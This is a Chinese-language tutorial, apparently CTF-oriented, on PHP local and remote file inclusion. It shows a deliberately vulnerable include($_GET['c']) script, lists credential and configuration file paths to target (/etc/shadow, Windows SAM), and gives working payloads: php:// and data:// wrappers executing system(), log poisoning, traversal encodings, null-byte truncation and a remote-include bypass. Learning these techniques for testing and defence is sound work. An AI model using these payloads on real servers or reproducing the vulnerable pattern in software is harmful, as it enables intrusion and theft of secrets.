简介
如果允许客户端用户输入控制动态包含在服务器端的文件,会导致恶意代码的执行及敏感信息泄露,主要包括本地文件包含和远程文件包含两种形式。
文件包含函数
函数说明
PHP
里的文件包含函数:
include()
include_once()
require()
require_once()
file_get_contents()
fopen()
readfile()
PHP
的每个函数包含一个文件的时候,都会把包含的文件当作 php
代码进行执行,而不会在意文件的类型。 include()
在代码执行到它的时候才加载文件,发生错误的时候只是给一个警告,然后继续往下执行。而 require()
只要程序一执行就会立即调用文件,发生错误的时候会输出错误信息,并且终止脚本的运行。 include_once()
和 require_once()
与 include()
和 require()
类似,只不过前者只会包含一次文件,防止出现函数重定义或变量赋值的问题。
实例
假如现在本地有一个 phpinfo.txt
文件。内容如下:
phpinfo();
有一个 lfi.php
,内容如下:
php
$temp = $_GET['c'];
include($temp);
?>
可以看到这里 $temp
没有经过任何的过滤措施,直接带入到了 include
函数,这就存在非常大的安全隐患。 这时候我们尝试去提交:
lfi.php?c=phpinfo.txt
可以发现成功地执行了 phpinfo()
。 这样就简单地实现了文件包含。
文件包含分类
LFI
LFI
为本地文件包含,包含本地服务器的文件,可以尝试构造去读取本地服务器的敏感信息。 Windows
上的敏感信息:
c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息
Linux
上的敏感信息:
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/share/nginx/html/index.php // nginx根目录信息
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件
RFI
RFI
为远程文件包含,包含远程服务器上的文件。可以构造一些恶意代码让被包含的程序执行。 开启远程文件包含需要在 php.ini
配置文件中开启相应功能:
allow_url=fopen=On # 默认开启
allow_url_include=On # 默认关闭
php伪协议
服务器存在一个 lfi.php
:
php
$temp = $_GET['c'];
include($temp);
?>
php://filter
可以通过指定 resource
的值来读取指定的文件。 通常读取文件的伪协议 Payload
:
lif.php?c=php://filter/read=convert.base64-encode/resource=flag.php
lif.php?c=php://filter/jpg/resource=../flag.php
lif.php?c=php://filter/resource=jpg/resource=../flag.php
php://input
使用 php://input
伪协议需要 php.ini
开启相应功能:
allow_url_include=On # 默认关闭
allow_url_fopen无要求 # 默认开启
使用 php://input
可以获取 POST
请求中的数据 使用方式:
lfi.php?c=php://input
POST:
php phpinfo();?>
phar
使用 php://phar
需要 php
的版本大于等于 5.3.0
。 把要读取的文件,例如 phpinfo.txt
压缩成 zip
文件,为 phpinfo.zip
。 使用相对路径或者绝对路径读取都可以:
lfi.php?c=phar://phpinfo.zip/phpinfo.txt
zip://
zip://
和 phar://
功能类似,区别就是要使用绝对路径来读取,并且 zip
文件后面要加 %23
再跟文件:
lfi.php?c=zip:///var/www/html/phpinfo.php%23phpinfo.txt
data://
使用 data://
要求 php
版本大于等于 5.2.0
。 php.ini
的配置文件开启相应的功能:
allow_url_include=On # 默认关闭
allow_url_fopen=On # 默认开启
使用方式:
lfi.php?c=data://text/plain,<?php print file_get_contents("flag.php") ?>
lfi.php?c=data://text/plain,<?php system("cat flag.php") ?>
lfi.php?c=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
包含日志文件
使用时需要知道日志文件的目录,且日志文件可读。 访问的请求一般都会被记录在服务器的 access.log
日志文件中。 可以先请求:
lfi.php?c=php phpinfo();?>
然后进行利用:
lfi.php?c=../../../var/log/nginx/access.log
一般请求的话一些特殊字符会被 url
编码,导致包含后无法解析,可以通过 burpsuite
抓包改包来避免。
绕过
指定前缀
php
$file = $_GET['file'];
include '/var/www/html/'.$file;
?>
可以看到这里强行拼接了 /var/www/html/
作为前缀。
目录遍历
可以通过 ../
来进行目录遍历,从而绕过前缀的限制。
编码
服务器可能会把 ../
过滤掉,可以通过一些不同的编码来进行绕过。
# url编码
%2e%2e%5c
..%5c
%2e%2e\
%2e%2e%2f
..%2f
%2e%2e/
# 二次编码
%252e%252e%255c
%252e%252e%252f
# 目录遍历攻击
..%c0%af
%c0%ae%c0%ae/
# 参考链接:https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work
# Tomcat
%c0%ae%c0%ae/ # java会把 %c0%ae 解析为 \uCOAE ,转移后为ASCII的 .
..%c1%9c
指定后缀
php
$file = $_GET['file'];
include $file.'.php';
?>
这里强行指定了 .php
作为文件的结尾。
问号绕过
lfi.php?file=http://IP/file?
这样就能够忽略后面的 .php
。
%00截断
可以通过 %00
截断的方式读取 /etc/passwd
。
lfi.php?file=../../../../../../../../../etc/passwd%00
路径长度截断
Linux
下需要文件名长于 4096
,而 Windows
需要长于 256
。
lfi.php?file=../../../../../../../../../boot.ini/………[…]…………